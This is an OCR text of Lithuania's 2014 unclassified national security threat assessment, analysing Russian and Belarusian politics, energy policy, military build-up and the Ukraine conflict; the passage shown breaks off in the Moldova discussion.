ANTROJO OPERATYVINIU TARNYBU DEPARTAMENTO
PRIE KRASTO APSAUGOS MINISTERIJOS

GRESMIU NACIONALINIAM SAUGUMUI
VERTINIMAS

Vilnius
2014



TURINYS
JVADAS ...ttt sssssssss bbb s SR b 3
REGIONINIS SAUGUMAS........oomimetreeseeesssssssesssessssssssssssesssesssssssssssssssssssssssssssssssssseses 4
RUSTJA oo 4
BaltarusSija ... sassanens 10
NVS erdve, UKraina ir Gruzija ... 11
PRIESISKA ZVALGYBINE VEIKLA......ccccouumrmsmemsmsssssssssssssssssssssssssssessssssseseses 12
Rusijos Zvalgybos ir saugumo tarnyby veikla...........cccoononnennnnees 12
Baltarusijos Zvalgybos ir saugumo tarnybuy veikla........................ 16
KIBERNETINIU GRESMIU VERTINIMAS .......cooomemesssessssssssssssssssseseeesesssessssssssssssseees 16
Kibernetinis Snipinéjimas...........concnesseseesesssessssssssssesnees 16
Kibernetinés atakos...........nncinnsess s ssssssssssssseas 17
Kito pobiuidzio kibernetiniai incidentai............cooecneenneenneeeinececseennnn. 18
Grésmés mobiliyjy jrenginiy vartotojams............coouemnenrernsiessennne. 18
INFORMACINES GRESMES .......ooooooieeueerrmnssmssesssssssssssesssssssssssssssssssssssssssssssssssssssssees 19
KRIZIU REGIONAL.......ooneerrcereessessstssssssssssesssssssesssssssssssssssssssssssssssssssssessssssssssssssssessnssns 20
AfGANISTANAS ... 20
Vidurio Rytai ir SIaurés Afrika........ceeeessssssssssssssssess 20
Konflikty regionai AfriKoje........ e 21

PRIEDAS. ..ot b 23



Grésmiy nacionaliniam saugumui vertinimas teikiamas visuomenei atsizvelgiant i
Lietuvos Respublikos Zvalgybos jstatymo 8 ir 26 straipsniy nuostatas. Dokumente pateikiamas
nejslaptintas gynybos, kariniy-politiniy, kariniy-ekonominiy, kariniy-technologiniy ir kariniy-
informaciniy iSorés grésmiy ir rizikos veiksniy Lietuvos Respublikos nacionaliniam saugumui
vertinimas.

JVADAS

Siuo metu konvencinio karo tikimybé artimiausioje Lietuvos geopolitinéje
aplinkoje (Baltijos juros regione) vis dar iSlieka gana maZa. Kita vertus, kai kurios
tendencijos ir iSoreés veikéjy veiksmai labai neigiamai veikia Lietuvos saugumo situacija.
Rusijos oficialiis pareigiinai ne kartg yra pareiske, kad SSRS Zlugimas buvo didZiausia
geopolitiné katastrofa, o Rusija buvusios SSRS erdvéje turinti iSskirtiniy interesy, j
kuriuos privalo atsiZvelgti kiti tarptautiniai subjektai. Taip pat Rusija deklaruoja, kad jos
netenkina dabartiné Europos saugumo architektiira, kuri esanti Saltojo karo atgyvena ir
turéty buti kei¢iama atsiZvelgiant j atsigaunancig Rusijos galia. PabréZtina, kad Rusija iki
Siol vadovaujasi tradicinés galios politikos ir ,nulinés sumos“! principais. Tai ypac
iSrySkéjo 2013 m. pabaigoje, Rusijos pastangoms uzsitikrinti Ukrainos kontrole
pasiekiant virSine. Krymo kariné okupacija, aneksija ir veiksmai siekiant dezintegruoti
Ukraing parodé, kad Rusija negerbia kaimyniniy valstybiy nepriklausomybeés, teritorinio
vientisumo ir yra linkusi grubiai paZeisti tarptautine teise. Taip pat 2014 m. pradZzios
jvykiai rodo, kad Rusijos valdzia ir visuomené yra pasiryZusios prisiimti ypa¢ aukstus
savo veiksmy kastus ir mano, kad Rusija yra pakankamai atspari bet kokiam iSorés
subjekty spaudimui.

Nepaisant akivaizdZiai prieSiSko Rusijos poZiurio j kaimyniniy valstybiy
savarankiSkuma, Rusija kol kas néra pajégi pradeéti karinj konfliktg prie§ NATO. Tai
didina j Aljanso sudétj jeinanciy valstybiy saugumg ir pastebimai maZina konvencinio
karinio konflikto tikimybe Baltijos juros regione. Kita vertus, Rusija intensyviai plétoja
savo karinius pajégumus. Taip pat pazymeétina, kad konfliktas su Ukraina, kaip jis
besibaigty, turés ilgalaikiy neigiamy pasekmiy viso Vidurio ir Ryty Europos regiono
saugumui ir stabilumui. Todél Siam regionui, o ypac kai kurioms jo valstybéms ir Rusijos
kontroliuojamoms organizacijoms, artimiausiu metu reikés didelio démesio.

Lietuva savo nacionalinj sauguma suvokia kaip sudedamajg NATO ir ES saugumo
politikos dalj, deleguodama karius j tarptautines karines operacijas ir misijas (NATO ir
ES). Todél Antrasis operatyviniy tarnyby departamentas prie KrasSto apsaugos
ministerijos (AOTD) taip pat didelj démesj skiria pavojingy tendencijy stebéjimui bei
analizei ir labiau nutolusiuose regionuose - Afganistane, Vidurio Rytuose, Afrikoje.

Be tradiciniy konvencinio pobiidZio konflikty ir jtampos Zidiniy, vis didesne Zalg
valstybiy nacionalinio saugumo interesams daro transnacionalinio pobudZio procesai ir
reiskiniai - terorizmas, kibernetinés atakos, piratavimas ir kiti. Kai kurie minéti procesai
ir reiSkiniai turi tiesioginj neigiamg poveikj Lietuvos nacionaliniam saugumui. Dalis Siy
globaliy procesuy ir reiSkiniy turi neigiama poveikj ES ir NATO nariy saugumuli, taip pat
netiesiogiai veikia ir Lietuvos nacionalinio saugumo interesus.

1 ,Nulinés sumos" principas reiskia, kad esant dviejy ar daugiau subjekty interesy susikirtimui negalima
situacija, kai visos konflikto Salys laimi. Bet kurio konflikto dalyvio laiméjimas yra kity dalyviy
pralaiméjimas. T. y. bet koks laiméjimas i$ esmés galimas tik kieno nors sgskaita.



REGIONINIS SAUGUMAS

Rusija

2013 m. toliau ryskéjo, kad Rusijos vidaus politikos esminis ir lemiantis
elementas - susiformavusi centralizuota uZdara politiné sistema, kurioje dominuoja
prezidentui Vladimirui Putinui lojaliis Zmonés, susije su oficialiosios politinés valdZzios,
saugumo, zvalgybos ir stambaus verslo organizacijomis. Si sistema uztikrina tiek vie$ojo,
tiek privataus sektoriaus subjekty lojaluma Rusijos politiniam elitui ir suteikia jam
galimybe kontroliuoti politinius bei visuomeninius procesus. Taip uZtikrinamas
egzistuojancios politinés sanklodos stabilumas ir sukuriamos sglygos toliau stiprinti
valdanciojo elito pozicijas.

2013 m. ir 2014 m. pradzioje ypac iSryskéjo kryptingos propagandos vaidmuo
uztikrinant valdanciojo reZimo palaikyma. Rusija pristatant kaip alternatyva
vakarietiSky politiniy ir kultiriniy vertybiy sistemai, formuojama Kkonservatyvi,
antivakarietiSka rusy tautos tapatybé. Akcentuojama Vakary grésmé tradicinéms ,slavy
pasaulio” moralés vertybéms ir politinéms tradicijoms. Siame kontekste propaguojamas
stiprios nacionalinius ir kultirinius interesus ginancios Rusijos valdZios jvaizdis lemia
visuomenés paramg jos vykdomai politikai. Rusijos politinei vadovybei tai padeda
iSvengti vidaus politinés ir ekonominés sistemos reformy bei vykdyti ekspansine
uzsienio politika. PaZzymeétina, kad Krymo pusiasalj aneksavusi, Ukrainos dezintegracijos
siekianti, aStriai su Vakary valstybémis konfrontuojanti Rusijos politiné vadovybé
sulaukia beveik vienareikSmisko visuomenés palaikymo. Stipréjancios didziavalstybinés
nuotaikos (kaip parodé konfliktas su Ukraina, budingos absoliuciai didZiajai daliai
visuomenés) turés neigiamos jtakos ir skatins dar agresyvesnés Rusijos uZsienio
politikos formavima.

Opoziciniy judéjimy jtaka politiniams ir visuomeniniams procesams iSlieka
nedidelé. Joks opozicinis judéjimas nepajégia pritraukti platesnio visuomenés
palaikymo. Pazymétina, kad netgi didelé dalis asmeny, kurie 2011 m. pabaigoje-2012 m.
pirmojoje puséje protestavo prie$ valdantjjj rezimg, visiSkai arba iS dalies palaiko
agresyvius Rusijos veiksmus Ukrainoje. Jeigu Siuo metu vyraujancios tendencijos (visy
pirma, didZiavalstybinio Sovinizmo nuotaiky plitimas) tesis, netgi santykinai liberalesniy
paziiry asmeny atéjimas i valdZig Rusijoje nepakeisty esminiy jos politikos kaimyniniy
valstybiy atzvilgiu bruozy.

Sios toliau ry$kejancios tendencijos Rusijos vidaus politikoje ir visuomenéje
darys ilgalaikj neigiamg poveiki Lietuvos nacionaliniam saugumui.

Rusijos uzsienio politikoje intensyvéja meéginimai jtvirtinti savo, kaip
atgimusios didZiosios valstybés, statusg ir didinti jtaka tarptautinéje arenoje, ypac -
posovietinéje erdvéje. Esmine klitutimi siekiant tarptautinés jtakos Rusijos vadovybé
laiko NATO. Aljansas traktuojamas kaip tiesioginio pavojaus $altinis. Rusijos veiksmai
yra nukreipti | NATO, kaip potencialaus prieSininko, silpninimg ir jtampos tarp jo nariy
didinima. Rusija aktyviai prieSinasi galimos tolesnés NATO plétros posovietinéje erdvéje
perspektyvoms. 2013 m. (ypaC antrojoje mety puséje) intensyvéjo Rusijos
antivakarietiSka retorika ir stipréjo konfrontacinés tendencijos santykiuose su NATO /
Vakarais. Rusijos veiksmai aneksuojant Krymo pusiasalj ir siekiant Ukrainos
dezintegracijos paskatino tolesni jtampos tarp Rusijos ir NATO / Vakary augima.

Ypa¢ daug démesio Rusija skiria gilesniam buvusios SSRS erdvés integracijos
procesui - Eurazijos ekonominés sajungos kirimui. Sio iki 2015 m. planuojamo
jgyvendinti projekto etapais laikomos jau sukurtos Rusijos, Baltarusijos ir Kazachstano



muity sgjunga ir Vieninga ekonominé erdvé. Artimiausiu metu turi buti pasirasyti
Eurazijos ekonominés sgjungos steigimo susitarimai tarp Rusijos, Baltarusijos ir
Kazachstano. Tuo pat metu méginama ne tik gilinti Siuose procesuose dalyvaujanciy
Saliy integracija, bet ir vykdyti geografine plétra. 2013 m. Rusija pasieké, kad Arménija
deklaruoty apsisprendimg prisijungti prie Muity sajungos ir Zengty tolesnius
integracinius zingsnius.

Rusijos perSamo integracijos modelio plétra vykdyta méginant aktyviai
pasipriesSinti bet kokios Vakary jtakos sklaidai Sioje erdvéje. PasiprieSinimas intensyvéjo
artéjant ES Ryty partnerystés virSuniy susitikimui Vilniuje. IS dalies su Siuo
intensyvéjanciu pasiprieSinimu buvo susijes ir Rusijos ekonominis spaudimas, kurj 2013
m. patyre Lietuva.

Rusijos-Ukrainos konfliktas turés dvejopa poveikj Rusijos proteguojamiems
integraciniams projektams. Tikétina, kad | Siuos procesus jtraukiamos valstybés dar
labiau vengs glaudesnés politinés integracijos ir virSnacionaliniy politiniy institucijy
sukurimo. Kita vertus, Ukrainoje Rusija pademonstravo, kad nori ir gali naudoti karine
jéga pries kaimynines valstybes, jei to reikia jos interesams. Todél Sioms valstybéms bus
dar sudétingiau atlaikyti Rusijos spaudima.

Rusijos energetiné politika. Vidurio ir Ryty Europos $aliy siekj uZsitikrinti
energetine nepriklausomybe Rusija vertina kaip jos ekonominiy ir politiniy interesy
pazeidima, taip pat - kaip grésme savo kariniam saugumui. Taip jautriai Rusijos
vadovybé reaguoja dél keliy prieZasciy:

* Rusijos biudZetas iSlieka kritiSkai priklausomas nuo pajamy uZ energetiniy
istekliy eksporta. Didelés pajamos uZ naftg ir dujas leidZia palaikyti vidaus
politinj stabilumg ir finansuoti svarbiausius valstybinius projektus (tarp jy ir
ginkluotyjyu pajégu modernizavimg). Europos vidine energetine rinka
stiprinantys integraciniai ir energetiniy Saltiniy diversifikavimo procesai? turi
esminj neigiama poveikj Rusijos interesams ir visai jos energetikos politikai,
todél vertinami kaip grésmé saugumui.

» Kritine dalies NATO Saliy priklausomybe nuo Rusijos energetiniy iStekliy Rusijos
vadovybé vertina kaip vieng pagrindiniy politinés jtakos sverty. Rusijos
dominavimas Nepriklausomy valstybiy sandraugos (NVS) erdvéje, jos kuriamy
integraciniy susivienijimy plétra regione taip pat daugiausiai pagrijsti energetine
NVS $aliy priklausomybe. Pvz., viena pagrindiniy priezasc¢iy, 2013 m. privertusiy
Armeénijag apsispresti stoti | Muity sgjungg, yra energetiniy alternatyvy
neturéjimas. Eurazijos ekonominés sgjungos projekto sékmé labai priklausys nuo
gebéjimo sukurti Vieningg energetine erdve, todél alternatyvy paieSkos Siose
Salyse vertinamos kaip esminé grésmé Rusijos interesams.

= Baltijos juros regione (ypac Lietuvoje) jgyvendinami infrastruktiros, finansiniai
ir teisiniai pokycCiai energetinéje sistemoje vertinami kaip papildoma grésme
Rusijos saugumui dél isliekancios Kaliningrado srities priklausomybés nuo
energetiniy iStekliy tranzito per NATO S$ali.

Rusijos atsaku daZniausiai tampa energetiniai projektai, kuriy jgyvendinimas
pagristas ne ekonomine logika, o siekiu sukurti naujus jtakos svertus, leidZiancius
iSlaikyti dominuojamg padéti konkretaus regiono energetiniame sektoriuje. Dviejy

2 Pvz., Treciojo ES energetikos paketo jgyvendinimas, tarpregioniniy jungciy tiesimas, rinkos mechanizmy
plétra.



atominiy jégainiy statybomis prie Lietuvos sieny (Kaliningrado srityje ir Baltarusijos
Astravo rajone) Rusija siekia uzkirsti kelig kaimyniniy valstybiy elektros energetikos
projektams jgyvendinti (savy atominiy jégainiy statybai, prisijungimui prie Europos
elektros tinkly). 2013 m. atominés elektrinés statyba Kaliningrado srityje sustabdyta,
nes projektui akivaizdZiai triilksta ekonominio prasmingumo. Kita vertus, jégainés
statyba Baltarusijoje tesiama ir, tikétina, bus baigta.

Tuo pat metu Kaliningrado srities energetinés izoliacijos planais stengiamasi
diskredituoti Lietuvos, kaip ES Salies varda, vertinant ja kaip nepatikimg tranzitine
valstybe. Rusijos vykdoma intensyvia vieSyju rySiy kampanija siekiama uZtikrinti
Rusijos visuomenés paramg Siems projektams, dezinformacijos skleidimg ir skaldyti
Lietuvos visuomene. AnalogiSka ,skaldyk ir valdyk” strategija kituose Europos
regionuose Rusija siekia perimti ir iSsaugoti svarbiausiy tranzito ir eksporto tasky
kontrole ir jsitvirtinti kaip pagrindinis Zaidéjas Eurazijos energetinéje rinkoje.
Nestabilumas regionuose, esanciuose arba galinCiuose tapti potencialiais energetiniy
istekliy tiekéjais (Siaurés Afrikoje, Ryty Vidurzemio regione ir Centrinés Azijos $alyse)
arba tranzito Salimis (pvz. Ukrainoje, Sirijoje), sudaro palankias salygas Rusijos
energetinei politikai jgyvendinti.

Energetika ir toliau iSlieka Rusijos ginkluotyju pajégu finansavimo pagrindas.
Rusijos ekonomikos augimas pastaraisiais metais létéjo (2011 m. BVP augo 4,3 %, 2012
m. - 3,4 %, 2013 m. - tik 1,3 %). Atsizvelgus j neigiamg agresijos Ukrainoje poveikj labai
tikétina, kad 2014 m. ekonomikos augimas bus dar maZesnis (arba neigiamas).
Pabreéztina, kad Rusijos ekonomika ir biudZetas iSlieka KritiSkai priklausomi nuo
energetikos sektoriaus. 2013 m. 50,3 % biudZeto pajamy gauta i$ naftos ir dujy sektoriy.

TradiciSkai vis didesné dalis S$iy pajamy skiriama ginkluotyju pajégu
finansavimui. 2013 m. gynybos islaidos sudaré 3,2 % BVP ir 16 % visy biudZeto islaidy.
Planuojama, kad
gynybos iSlaidy
santykiné dalis 5
toliau nuosekliai
augs, t. y.
ekonomika ir
biudZetas  bus
toliau
militarizuojami
(Zr. grafika).
Giléjancios
ekonomikos
problemos gali
pakoreguoti 2013 2014 2015 2016
Siuos planus.
Kita vertus, 2009
ir 2010 m. per Rusijos gynybos islaidos (BVP ir biudzeto %)
ekonomikos
krize ginkluotyjy pajéguy finansavimui buvo skiriamas auks$Ciausias prioritetas, todél
tikétina, kad netgi naujos ekonominés krizés salygomis nacionalinei gynybai bus
skiriamas didZiausias jmanomas finansavimas.

Rusija analizavo nuo Saltojo karo pabaigos pasaulyje vykusius Karinius
konfliktus, o ypac tuos, kuriuose dalyvavo JAV ir NATO pajégos. Atlikusi Siy konflikty
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analize Rusija identifikavo, kad kariniy konflikty pobudis pasikeité - labai iSaugo
nekariniy priemoniy reikSmé siekiant politiniy ir strateginiy tiksliy, jos kai kuriais
atvejais yra daug efektyvesnés nei ginkluotyjy pajégy panaudojimas.

Rusija pries kitas valstybes pirmiausia numato naudoti nekarines priemones -
politinj, ekonominj, informacinj, diplomatinj spaudimg ir karinés galios demonstravima,
o Sioms priemonéms nedavus laukiamy rezultaty, numatomas kariniy priemoniy
naudojimas.

Pazymétina, kad nekarinés priemonés naudojamos siekiant paveikti ir trikdyti
oponento politiniy sprendimy priémimo procesus, taip pat skaldyti kariniy, ekonominiy
bei politiniy sajungy vienybe, isryskinant nesutarimus tarp atskiry $aliy. Sios priemonés
jau dabar skirtingai intensyviai taikomos prie§ Salis ar jy blokus (NATO, ES), kurie
trukdo Rusijai jgyvendinti jos strateginius tikslus.

Rusijos Kkarinis planavimas taip pat labai pasikeité. Anks¢iau buves gynybinis
karinio planavimo pobiudis pakeistas j puolamajj, numatant naudoti:

» netikétas ir greitas nuolatinés parengties pajégy operacijas prieSo teritorijoje;

» civilinés ir karinés kritinés infrastruktiiros naikinimg prieSo teritorijoje, siekiant
palauZti Salies / Saliy ir jy pilieCiy valig prieSintis;

* asimetrines ir netiesioginio poveikio priemones (informacines operacijas,
kibernetines atakas).

Rusija suvokia, kad jos karinio potencialo atsilikimas nuo NATO ir JAV yra didelis
ir jo panaikinti per artimiausiag deSimtmetj nepavyks. Todél esant butinybei operacija
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Kovos veiksmy pobudzio pasikeitimai (Rusijos vertinimas)

(saltinis: www.vpk-news.ru)

Vakary kryptimi numatoma pradéti pirmiems, netikéto puolimo metu sumaZinant
oponento karinj potencialg operacijos rajone iki tokio lygmens, kuris buity priimtinas
Rusijal.



PaZymeétina, kad dabartinés Rusijos ginkluotuyjy pajégy galimybés jvykdyti tokia
operacija yra labai ribotos. Rusija pajégty vykdyti operacija prie§ atskiras Salis, bet ne
prieS visg Aljansa. Norint buti pasirengusiai vykdyti platesnio masto operacijas pries
NATO ar JAV, Rusijai biitina modernizuoti savo ginkluotgasias pajégas. Tai ir daroma Siuo
metu.

S-400 sistemos veikimo zona {

¥
1 """ S-400 su ilgo nuotolio raketa veikimo zona

Kaliningrade dislokuotos priesléktuvinés gynybos sistemos S-400 veikimo nuotolis

Rusijos ginkluotujy pajéguy vystymui skiriamos milZiniskos 1é3os. Siuo metu
jgyvendinamos 2011-2020 m. valstybinés ginkluotés programos (VGP) ir kuriamos
naujos 2016-2025 m. VGP tikslas - sukurti pajégas, galin¢ias vykdyti operacijas
remiantis naujais karinio planavimo principais prieS bet kokj prieSininka (jskaitant
NATO, JAV). Todél nepaisant to, kad ginkluotés programy prioritety virstinéje vis dar yra
Rusijos strateginés branduolinés pajégos, pastebimai auga kity sri¢iy, butiny naujo
pobudZio operacijoms jgyvendinti, reikSmé. Ypac didelis finansavimas skiriamas Rusijos
oro-kosmoso gynybos sistemai vystyti, naujoms ilgojo nuotolio konvencinéms ypac
tikslioms ginkluotés sistemoms ir automatizuoto pajégy valdymo sistemoms kurti.

Lietuvai potencialiai ypac¢ pavojingas oro-kosmoso gynybos elementy vystymas
Kaliningrado srityje. Cia jau dabar dislokuoti priesléktuvinés gynybos kompleksai S-400
dengia didziaja dalj Lietuvos teritorijos (Siuo metu naudojamos raketos deklaruojamas
veikimo nuotolis - 250 km). Ateityje j Kaliningrado sritj atgabenus Siuo metu kuriamas
ilgojo nuotolio zenitines raketas kompleksams S-400 (deklaruojamas veikimo nuotolis -
400 km) visa Lietuvos teritorija pateks j $iy sistemy veikimo zona. Siy sistemy veikla
krizés metu labai apsunkinty NATO operacijas regione.

Vertinant Rusijos ginkluotyjy pajégy aktyvuma paZymeétina, kad 2013 m. buvo
pradéti vykdyti netikéti ginkluotuyjuy pajégu kovinés parengties patikrinimai, kurie
daZniausiai baigdavosi stambaus masto pratybomis. 2013 m. buvo netikétai tikrinami
visose karinése apygardose dislokuoti aviacijos, laivyno, desanto, sausumos ir
strateginés paskirties pajégy daliniai. Sie patikrinimai leido Rusijos vadovybei jvertinti
realy pajégy pasirengima vykdyti uZduotis ir nuo 2008 mety vykdomos ginkluotyjy



pajégy reformos rezultatus. Patikrinimai taip pat naudoti kaip karinés galios
demonstravimas kaimyninéms valstybés ir Vakarams. Pazymeétina, kad 2014 m.,
prisidengdama vienu i$ tokiy patikrinimy, Rusija perdislokavo dalj ginkluotyjy pajégu
prie Ukrainos sienos. Patikrinimai neigiamai veikia Salia Rusijos esanciy valstybiy
saugumg, nes leidzia Rusijai netikétai perdislokuoti dideles pajégas ir riboja kaimyniniy
valstybiy galimybes tiksliai vertinti perdislokavimy mastg bei tikslus, t. y. apribojamos
ankstyvojo perspéjimo apie galimg karinj konfliktg galimybés.

Rengiant plataus masto mokymus, tikrinamas naujy ginkluotés sistemy
efektyvumas ir ginkluotyjy
pajégy pasirengimas vykdyti
kariniuose planuose
numatytas operacijas. 2013
m. rugséjo pabaigoje Rusijos
Vakary karinéje apygardoje ir
Baltarusijoje vyko plataus
masto strateginiai mokymai
»~Lapad 2013“ Jie pratese
didelio masto mokymuy
Vakary kryptimi praktika.
Mokymuose be Rusijos ir
Baltarusijos kariy dalyvavo ir
kity Kolektyvinio saugumo
sutarties organizacijos (KSSO)
Saliy kariai. Oficialiai
deklaruota, kad mokymuose
dalyvavo daugiau nei 22

Oficialus ,,Zapad 2013” mokymy Zenklas tukst. kariy, mokymai turéjo
vykti Kaliningrado srityje ir
Baltarusijoje. Realus mokymy scenarijus ir juose dalyvaujanciy kariy skaicius nebuvo
atskleisti, nepaisant Rusijos deklaruoto mokymuy skaidrumo. Siekiant nuslépti tikrajj
mokymuy masta, atskiri mokymuy epizodai buvo vykdomi kitose geografinése vietovése ir
nebuvo laikomasi realios ginkluoto konflikto vystymosi laiko aSies. ] mokymus buvo
pakviesti tarptautiniai stebétojai, bet jy galimybés stebéti mokymus buvo ribotos.
Aptariant mokymus, auksSc¢iausia Rusijos politiné ir kariné vadovybé nurodé, kad
pagrindinis mokymy tikslas buvo jvertinti Salies institucijy pasirengimg koordinuotai
pereiti iS taikos meto veiklos | karo padéties ir igyvendinti Salies gynybos planus.
PabréZtina, kad tradiciSkai mokymy Vakary strategine kryptimi metu simuliuojamas
karinis konfliktas su NATO, ne iSimtis buvo ir ,Zapad 2013“.

2013 m. Rusija toliau stiprino Kkarinius pajégumus Vakaruy Kkryptimi ir
Kaliningrado srityje. Baltijos laivyne toliau vykdytas ginkluotés sistemy atnaujinimas,
modernizavimas ir daliniy perginklavimas. Kaliningrado srityje dislokuotas jiry
péstininky dalinys perginkluotas naujais Sarvuociais BTR-82A, laivyno komponentas
sustiprintas korvete ,Boikyj“, o transporto aviacijai planuojama perduoti naujus
transporto orlaivius An-140-100. Nors 2013 m. pabaigoje Ziniasklaidoje gana placiai
aptarinétas taktinio-operacinio balistiniy rakety komplekso ,Iskander tariamas
dislokavimas Kaliningrado srityje, Si sistema srityje kol kas néra dislokuota. Kita vertus,
vykdant 2011-2020 m. VGP ir perginkluojant ginkluotasias pajégas, ,Iskander” sistema
turi atsirasti ir Kaliningrado srityje. Nepaisant to, kad ginkluotés skaicius Kaliningrado
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srityje praktiSkai nesikeicia, eksklave dislokuoty Baltijos laivyno daliniy kovinés
galimybés auga dél didesniy modernios ginkluotés galimybiy ir valdymo bei vadovavimo
sistemy tobulinimo.

Rusijos ir Baltarusijos integracija karinéje srityje toliau giléja. Baltarusija
Rusijai yra prieSakinis gynybos eSelonas Vakary kryptyje. Rusijos ir Baltarusijos daliniy
saveika buvo tobulinama mokymy ,Zapad 2013“ metu. Nuo 2013 m. pabaigos
Baltarusijoje kovinj budéjimg vykdo Rusijos naikintuvy grandis. Pasinaudodama
situacija Ukrainoje ir NATO padidinus karinius pajéegumus Ryty kryptimi, Rusija 2014 m.
pradzioje sustiprino Baltarusijos oro erdvés apsaugg bei kontrole ir dislokavo joje
papildomus naikintuvus. Iki 2014 m. pabaigos Rusija ketina sukurti savo naikintuvy
aviacijos baze Baltarusijos teritorijoje. Tai dar labiau sustiprins Saliy integracijg karinéje
srityje ir padidins Baltarusijos priklausomybe nuo Rusijos.

Pabréztina, kad 2014 m. pradZioje Ukrainoje Rusija pademonstravo, jog ji
sugeba jgyvendinti plataus spektro operacija, derindama Kkarinés jégos
panaudojima, diplomatija, ekonomines priemones ir ypac¢ intensyvias
informacines operacijas. Taip pat jvykiai Ukrainoje parodé, kad Rusijos
ginkluotosios pajégos yra pajégios greitai generuoti reikiamus pajégumus, o
pasirengimas operacijai gali buti gerai slepiamas. Tikétina, kad Rusijai igyjant vis
daugiau pasitikéjimo savimi ir sukuriant vis efektyvesnes priemones (visy pirma,
karines), augs ir pasirengimas tas priemones panaudoti. Tai labai neigiamai veiks
Lietuvos saugumo situacija.

Baltarusija

Baltarusijos vidaus politinj gyvenimg toliau lemia prezidento Aleksandro
LukaSenkos asmenybés kultas. Konstituciniy mechanizmy netobulumas, centralizuota,
jégos institucijomis paremta valdZios sistema dabartiniam Salies vadovui suteikia beveik
neribotg veiksmy laisve ir galimybe iSlaikyti autoritarinj reZimg. Opozicinés partijos
veikia legaliai, bet jos yra silpnos, nesugeba koordinuoti tarpusavio veiksmuy, todél jy
jtaka Salies politiniam gyvenimui yra minimali.

Sudétinga ekonominé situacija Salyje iSrySkino strukturiniy pertvarkymy
butinybe. 2013 m. buvo pristatytas ekonomikos reformavimo planas, bet vadinamojo
socialiai orientuotos rinkos ekonomikos modelio neatsisakoma. DidzZiausiu
makroekonominio subalansavimo  Kkliuviniu iSlieka prisiimami populistiniai
jsipareigojimai. Nepaisant sunkmecio, valdZia tesia socialinés gerovés uztikrinimo
politika, sukurdama rezimo garantuojamos pilie¢iy pagrindiniy poreikiy apsaugos
iliuzija, todél didzioji visuomenés dalis neturi ryskiy antivyriausybiniy nuotaiky.

Jvykiais Ukrainoje Baltarusijos valdZia naudojasi visuomenés konsolidavimui ir
vienvaldZio Salies lyderio jvaizdZio formavimui. Ekonomines ir socialines problemas
stengiamasi uzgoZzti eskaluojant saugumo (stabilumo) klausimg. Pasinaudojant
dramatiSkais Maidano jvykiais, pateisinama ,stiprios rankos“ valdant Salj biitinybé. Netgi
Rusijos kariniy oro pajégy naikintuvy dislokavimas Salyje pateikiamas kaip padidéjusio
NATO aktyvumo regione nulemta Baltarusijos iniciatyva.

Pagrindiniu Baltarusijos strateginiu partneriu iSlieka Rusija. Kaip ir ankstesniais
metais, dviSaliuose santykiuose 2013 m. neapsieita be konfliktinés situacijos.
Konfrontacijg paskatino nesutarimai kalio tragSy eksporto srityje. Atsligus emocijoms,
dviejy Saliy bendradarbiavimo projektai vystomi toliau. Tesiasi Baltarusijos jsitraukimas
i Rusijos proteguojamg Eurazijos ekonomine sajunga. Salia politinés paramos A.
LukaSenkai, Baltarusijai Sios sgjungos kirimas suteikia Rusijos rinkos i$saugojimo ir
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pigiy energetiniy iStekliy uzZsitikrinimo galimybiy. Tai sudaro prielaidas toliau didéti
Baltarusijos politinei, ekonominei ir karinei priklausomybei nuo Rusijos.

Vadinamasis ,kalio konfliktas“ Baltarusijos kariniam bendradarbiavimui su Rusija
jtakos neturéjo, pastebimas nuoseklus dviejy Saliy ginkluotyjy pajégy saveikos giléjimas.
Baltarusija ir toliau savo karinio saugumo uztikrinimg sieja su Rusija, o prioritetu laiko
Vieningos gynybinés erdvés su Rusija kiirimg ir plétra. Baltarusijoje vyke mokymai
»Zapad 2013“ ir ,Vzaimodeistvije 2013 patvirtina ir tesia minétg tendencija.

Siuo metu Baltarusijos ginkluotosios pajégos yra orientuotos ir pajégios vykdyti
Salies gynyba bei uztikrinti mobilizacine parengtj. Specialiyjy operacijy pajégos, karinés
oro ir priesléktuvinés gynybos pajégos iSlieka prioritetinémis vystymosi kryptimis, bet
akivaizdu, kad léSy trukumas neleidZia jy modernizuoti norimais tempais. Rusija,
pasinaudodama susidariusia situacija, dislokavo Baltarusijoje papildomus Kkovinius
pajégumus (naikintuvus), kuriy panaudojimag kontroliuos pati. Tikétina, kad ateityje
Baltarusijos ginkluotyjy pajégy potencialas bus padidintas i$ Rusijos gauta naujausia
ginkluote ir karine technika, bus stiprinama Rusijos-Baltarusijos regioniné karineé
grupuote.

NVS erdve, Ukraina ir Gruzija

2013 m. Rusija dar intensyviau mégino didinti jtaka posovietinéje erdvéje.
Didziausias spaudimas darytas UKrainai, siekiant jg jtraukti j Rusijos kontroliuojamus
integracinius procesus ir neleisti glaudZiau bendradarbiauti su Vakarais.

Viktoro Janukovyciaus ir jo aplinkos nuSalinimag nuo valdZios 2014 m. pradZioje
léemé ne tiek opoziciniy partijy veiksmai, kiek visuomenés pasiprieSinimas ypac
korumpuotai ir neefektyviai valdZiai. Naujosios Ukrainos valdzios situacija yra labai
sudétinga: ekonomikos ir vieSyjy finansy buklé yra kritiné, neiSvengiamai teks Zengti
socialiai skausmingus, bet butinus Zingsnius, kurie turés neigiamos jtakos visuomenés
palaikymui. Valstybés teritorinis integralumas yra paZeistas, Rusijai karine jéga atplésus
Krymga ir méginant plésti dezintegracinius procesus rytiniuose ir pietiniuose regionuose.
Kaip besibaigty konfliktas su Rusija, artimiausiu metu Ukrainoje isliks didelé politiné ir
auganti socialiné jtampa, o Salis bus labai priklausoma nuo tarptautinés politinés ir
finansinés paramos.

Rusija vykdo intensyvy Ukrainos karinj, politinj, ekonominj ir informacinj
spaudimg, kurio pagrindinis tikslas - pakeisti Ukrainos valdZig, apriboti jos
savarankiSky sprendimy galimybes ir uztikrinti Ukrainos priklausomybe nuo Rusijos.
Pagrindinis Rusijos reikalavimas - ,federalizacija“, t. y. Ukrainos virsmas i$ unitarinés
valstybés | ypac didelj savarankiSkumg turinc¢iy subjekty federacijg, vienijama labai
silpno centro. Jeigu Rusijai nepavyks uZsitikrinti visos Ukrainos kontroles, tikétina, kad
bus méginama vykdyti dalies Ukrainos teritorijos atskyrimg, atpléSiant kuo daugiau
rytiniy ir pietiniy regionu.

Rusijos veiksmai Ukrainoje labai neigiamai veikia Moldovos saugumo situacija.
Krymo okupacija ir aneksija suaktyvino Padniestreés separatistus. Kai kurie Padniestrés
de facto valdzios atstovai émé kelti susijungimo su Rusija reikalavimg. Moldova néra
pajégi savarankiskai iSspresti Padniestrés konflikto. Rusija kol kas naudoja Padniestrés
